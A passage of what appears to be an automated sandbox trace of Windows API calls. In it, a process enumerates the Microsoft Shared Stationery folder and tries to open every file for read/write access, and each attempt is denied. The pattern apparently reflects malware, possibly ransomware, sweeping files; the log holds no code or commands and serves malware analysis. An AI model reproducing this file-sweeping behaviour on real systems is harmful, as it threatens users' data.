shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.849] GetLastError () returned 0x5 [0170.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0170.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.850] GetLastError () returned 0x5 [0170.850] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0170.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.851] GetLastError () returned 0x5 [0170.851] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0170.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.851] GetLastError () returned 0x5 [0170.851] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0170.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.851] GetLastError () returned 0x5 [0170.851] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0170.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.852] GetLastError () returned 0x5 [0170.852] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0170.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.853] GetLastError () returned 0x5 [0170.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0170.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.854] GetLastError () returned 0x5 [0170.854] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0170.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.854] GetLastError () returned 0x5 [0170.854] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0170.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.855] GetLastError () returned 0x5 [0170.855] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0170.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.856] GetLastError () returned 0x5 [0170.856] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0170.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.857] GetLastError () returned 0x5 [0170.857] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0170.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.857] GetLastError () returned 0x5 [0170.857] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0170.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.857] GetLastError () returned 0x5 [0170.857] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0170.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.858] GetLastError () returned 0x5 [0170.858] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0170.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.859] GetLastError () returned 0x5 [0170.859] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0170.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.859] GetLastError () returned 0x5 [0170.860] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0170.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.860] GetLastError () returned 0x5 [0170.860] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0170.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.861] GetLastError () returned 0x5 [0170.861] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0170.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.862] GetLastError () returned 0x5 [0170.862] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0170.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.862] GetLastError () returned 0x5 [0170.862] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0170.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.863] GetLastError () returned 0x5 [0170.863] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0170.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.863] GetLastError () returned 0x5 [0170.863] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0170.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.864] GetLastError () returned 0x5 [0170.864] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0170.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.864] GetLastError () returned 0x5 [0170.864] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0170.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.865] GetLastError () returned 0x5 [0170.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0170.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.865] GetLastError () returned 0x5 [0170.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0170.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.866] GetLastError () returned 0x5 [0170.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0170.866] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0170.866] GetProcessHeap () returned 0x990000 [0170.866] HeapFree (in: 